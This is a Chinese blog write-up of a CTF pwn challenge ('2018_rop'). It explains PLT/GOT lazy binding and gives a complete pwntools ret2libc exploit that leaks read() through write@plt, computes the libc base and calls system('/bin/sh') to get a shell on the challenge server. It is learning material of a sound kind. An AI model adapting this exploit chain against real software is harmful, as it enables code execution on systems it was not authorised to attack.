pwn | 铁人三项(第五赛区)_2018_rop
pwn | 铁人三项(第五赛区)_2018_rop
ret2libc
好久没整pwn题了,ret2libc整了好久才打通==
vulnerable function 里面存在栈溢出,只开了nx保护。
libc的版本是2.27
再整理一遍延迟绑定的思路,首先,调用动态链接库中的函数采用的全部都是间接call的方式
先call yyyyy再jmp dword ptr xxxxx
这个yyyyy是plt表中的一个地址, 通过plt表跳转到got表中真正函数的地址(也就是xxxxx地址上的值(初始值为plt表中延迟绑定用的函数的地址))的位置去执行。
如果是第一次执行,则jmp过去看到的是xxxxx地址上一个plt表中的地址值,然后会返回到plt表中去执行函数的绑定,然后修改got表中的真正函数地址,此时xxxxx地址上就是真正函数的地址值了。
再返回到yyyyy中的位置,一个间接jmp到真正的函数地址去执行。
哦还有patchelf的使用,姑且是看了文章,但是没怎么搞明白,下次再说:https://www.cnblogs.com/xshhc/p/16777707.html
exp【由于计算libc基址的部分算错了卡了一会儿,下次直接把基址减出来再算好了,不偷懒了】:
from pwn import *
import struct
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'
elf = ELF('./2018_rop')
_libc = ELF('./libc-2.27.so') # remote
# _libc = ELF('/usr/lib/i386-linux-gnu/libc-2.31.so') # local
_p_libc_read = _libc.symbols['read'] # get the relative addr of read() and system()
_p_libc_system = _libc.symbols['system']
_p_libc_binsh = _libc.search(b'/bin/sh').__next__()
_p_plt_write = elf.plt['write'] # 0a in it,cannot usie
_p_got_read = elf.got['read']
# p = process('./2018_rop')
p = remote('node4.buuoj.cn',27374)
# leak addr
rubbish = 0x88*b'A' + 4*b'B'
_p_main = 0x080484C6
_p_call_write = 0x080484F0
# retaddr retaddr_of_write arg1 arg2 arg3
payload = rubbish + p32(_p_plt_write) + p32(_p_main) + p32(1) + p32(_p_got_read) + p32(4)
p.sendline(payload)
p_libc_read = struct.unpack("<I", p.recv(4))[0] # get the addr of function read in libc
p_libc_base = p_libc_read - _p_libc_read # get the base addr
p_libc_system = p_libc_base + _p_libc_system
p_libc_binsh = p_libc_base +_p_libc_binsh
print(hex(p_libc_system))
print(hex(p_libc_binsh))
p_ret = 0x08048199 # duiqi
#
payload = rubbish + p32(p_ret) + p32(p_libc_system) + p32(_p_main) + p32(p_libc_binsh)
p.sendline(payload)
p.interactive()
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/16927287.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com